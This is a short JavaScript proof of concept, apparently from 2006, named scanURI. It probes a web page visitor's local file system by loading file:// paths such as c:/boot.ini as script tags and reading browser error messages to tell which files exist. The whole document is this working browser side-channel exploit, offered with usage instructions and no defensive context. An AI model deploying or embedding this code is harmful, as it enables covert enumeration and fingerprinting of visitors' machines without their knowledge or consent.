// ================= [05/08/06] Sergey Vzloman =====================
// USAGE:
//	scanURI.setCallBack( FUNCTION );
//	scanURI.addURI( "file://c:/boot.ini" );
//	scanURI.addURI( "file://c:/windows/system.ini" );
//	scanURI.start();
//  
//  TESTED ON IE6,FF

	scanURI =
	{
		  list					: new Array()
		, callback				: function(uri,status){}
		, originalErrorHandler	: function(){return false;}		
		, status 				: 0
		, activeURI 			: ''
		
		, errorFingerPrintText	: ( navigator.appName=='Netscape' ? 'Error loading script' : ';' )
		, errorFingerPrintStatus: ( navigator.appName=='Netscape' ? true : false )

		, setCallBack 			: function(callback) { scanURI.callback = callback; }
		
		, addURI 				: function(uri){ this.list.push(uri);	}
		
		, start 				: function()
									{
										
										if(scanURI.status != 0) return;
										
										scanURI.status = 1;
										
										window.onerror = function(text,source,line)
										{
											
											if( text != "start" )
											{
												var found = text.indexOf(scanURI.errorFingerPrintText) == -1 
																	? scanURI.errorFingerPrintStatus 
																	: !scanURI.errorFingerPrintStatus;
												
												scanURI.callback( scanURI.activeURI, found );
											};
											
											if( scanURI.list.length != 0 )
											{
												scanURI.activeURI = scanURI.list.pop();
alert(scanURI.activeURI);
												var script = document.createElement("SCRIPT");
												
												script.src = scanURI.activeURI;
												
												document.firstChild.appendChild(script);
											}
											else
											{
												window.onerror = scanURI.originalErrorHandler;
												scanURI.status = 0;
												
											}
											
											return true;
										}
										
										scanURI.originalErrorHandler = window.onerror;
										window.onerror("start");
									}

	};
